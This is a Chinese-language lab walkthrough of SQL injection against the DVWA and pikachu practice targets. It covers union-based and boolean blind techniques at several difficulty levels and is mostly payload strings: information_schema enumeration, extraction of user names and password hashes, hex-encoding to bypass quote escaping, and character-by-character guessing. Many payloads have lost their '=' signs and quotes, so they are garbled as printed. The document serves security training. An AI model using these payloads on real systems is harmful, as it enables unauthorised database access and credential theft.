SQL注入一 初级判断是否存在注入点1 or 11判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa#1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers#8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理二、中级判断是否存在注入点1 异常1 and 11 #正常1 and 12 #异常数字型判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa# 不行被转义id1 union select 1,group_concat(table_name) from information_schema.tables where table_schema0x64767761 # SubmitSubmit1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers# 单引号被转义CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制然后进行id1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x7573657273# SubmitSubmitid3 union select 1,group_concat(column_name) from information_schema.columns where table_schema0x64767761 and table_name0x7573657273 # SubmitSubmit8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理三、高级判断是否存在注入点1 异常1 and 11 #正常1 and 12 #异常字符型判断字段长度字段数 1 order by 3# 3有错误说明当前查询的结果有两个字段判断字段回显位置1 union select 1,2#判断数据库信息1 union select 1,database()#查找数据库名1 union select 1,database()# 当前的一个数据库1 union select 1,group_concat(schema_name) from information_schema.schemata # 显示所有的数据库查找数据库表1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa#1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#查找数据库表中所有字段以及字段值1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers# 单引号被转义CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换在线把users转换成十六进制然后进行id1 union select 1,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x7573657273# SubmitSubmit8取表中数据并猜解账号密码1 union select 1,group_concat(first_name,0x3a,password) from users#9登录管理员后台。pikachu字符型同理SQL-Blind 盲注原文链接DVWA——SQL盲注全等级_dvwa盲注-CSDN博客一、LOW:1. 输入 1 and 11 # 可以看到 正常执行2. 猜解开数据库长度1 and length(database())x #3.确定数据库名字的长度输入语句显示结果1’ and length(database())1 #不存在1’ and length(database())5 #存在说明数据库名字长度是小于5的1’ and length(database())4 #存在说明数据库名字长度为41 and length(database())4 # 说明数据库名字长度就是4个字符3.数据库长度ASCII查询对照表ASCII编码对照表_911查询猜测数据库名的第一个字符ASCII的取值范围由于是DVWA靶场所以合理猜测数据库名为dvwa如果是其他场景下需要不断修改数值缩小取值范围最终确定一个取值输入语句显示结果1’ and ascii(substr(database(),1,1))97#显示存在说明第一个字符是一个小写字母且不是a。1’ and ascii(substr(database(),1,1))100#显示存在说明第一个是d1’ and ascii(substr(database(),2,1))118#显示存在说明第二个是v1’ and ascii(substr(database(),3,1))119#显示存在说明第三个是w1’ and ascii(substr(database(),4,1))97#显示存在说明第四个是a1. 用aascii猜解数据库名 1 and ascii(substr(database(),1,1))100 # 由此确定第一位ascii是100对比ascii表ASCII码对照表-完整ASCII码表-我就查查询可得 为d第二个字母v,ascii值是1181 and ascii(substr(database(),2,1))118 #第三个字母 w,ascii值是1191 and ascii(substr(database(),3,1))119#第四个字母a,ascii值是971 and ascii(substr(database(),4,1))97#综上所述数据库名字就是dvwa;4. 获取表名先判断有多少个表输入语句显示结果1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())1#不存在 1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())2#不存在说明表的数量是2 1’ and (select count(table_name) from information_schema.tables where table_schemadatabase())2 #存在猜想验证成功1 and (select count(table_name) from information_schema.tables where table_schemadatabase())2 #证明有2个表5.确定dvwa数据库中表名的长度输入语句分布解析1.查询列出当前连接数据库下的所有表名称select table_name from information_schema.tables where table_schemadatabase()2.列出当前连接数据库中的第1个表名称select table_name from information_schema.tables where table_schemadatabase() limit 0,1PS:limit 结果编号从0开始返回结果数量3.计算当前连接数据库第1个表名的字符串长度值length( substr ((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1))4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件联合and逻辑构造特定的 sql语句 进行查询根据查询返回结果猜解表名称的长度值1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))10 #输入语句显示结果1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))10#不存在1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))8#存在说明dvwa第一个表长度为91’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))9#存在验证成功实际有2个表guestbook,users;同理可以对第二个表的长度进行猜测输入语句显示结果1’ and length((select table_name from information_schema.tables where table_schemadatabase() limit 1,1))5#存在dvwa第二个表长度为56.确定dvwa数据库中表的名字与确定数据库名字类似用到ascii()和substr()两个函数。substr(str,1,1)从str的第一个字符开始截取长度1 取str的第一个字符limit 0,10-查询结果的第一个1-返回一条查询结果。 eg: limit 3,5 就是返回第4-8条数据。输入语句显示结果1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))103#显示存在第一个表的第一个字符是g以此类推可以确定第一个表的名字是guestbook。guestbook中的第二个字母1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),2,1))117#第二个表users确定1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),1,1))117#存在第二个表的第一个字符是u以此类推可以确定1’ and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),2,1))115#存在第二个表的第二个字符是s以此类推可以确定7.确定users表中的字段数目输入语句显示结果1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)4#存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)9#不存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)7#存在1’ and (select count(column_name) from information_schema.columns where table_schemadatabase() and table_name‘users’)8#存在所以users表中有8个字段8.确定users表中的8个字段长度输入语句显示结果1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))10#不存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))6#存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))8#不存在输入1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))7#存在说明users表的第一个字段长度为7输入语句显示结果1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))10#不存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))6#存在1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))8#不存在输入1’ and length((select column_name from information_schema.columns where table_schemadatabase() and table_name‘users’ limit 0,1))7#存在说明users表的第一个字段长度为7同理可以获取其他7个字段的长度9.确定users表中的8个字段名字由于表中的字段数目比较多长度比较长如果采用之前的按字符猜测会很耗时间。根据我们的需要判断users表中是否含有用户名和密码字段即可。根据经验猜测用户名和密码的字段名字如下用户名username/user_name/uname/u_name/user/…密码password/pass_word/pwd/pass/…猜用户名1 and (select count(*) from information_schema.columns where table_schemadatabase() and table_nameusers and column_nameusername)1 #显示不存在更换字段名再尝试发现user显示存在猜密码1 and (select count(*) from information_schema.columns where table_schemadatabase() and table_nameusers and column_namepassword)1 #显示存在综上可知users表中的用户名和密码字段分别为user和password。10.获取user和password的字段值password在存储的时候进行了MD5加密。同样先进行猜测碰撞如果不行再逐个筛选。1 and (select count(*) from users where useradmin)1 #1 and (select count(*) from users where useradmin and password5f4dcc3b5aa765d61d8327deb882cf99)1 #显示存在综上可知一组用户名-密码admin-password。二、Medium步骤和LOW相似不过变成数字型注入需要去掉1后面的单引号。使用burpsuite抓包修改id的值为注入语句即可。同时medium在源代码中对特殊符号进行了转义处理对于带有引号的字符串转换成16进制进行绕过。三、Highhigh级别会另外开启一个页面步骤类似Medium1. 随意选择一个数然后抓包1. 修改参数 1 and length(database())4 #根据布尔 盲注判断数据库名为41. 下面依旧使用sql语句进行查询步骤同上high1. 1 and 11 # 测试发现成功执行1. 盲注测试数据库名长度 1 and length(database())4 #1. 接下来的步骤同上impossible只能使用数字且设置了token 无漏洞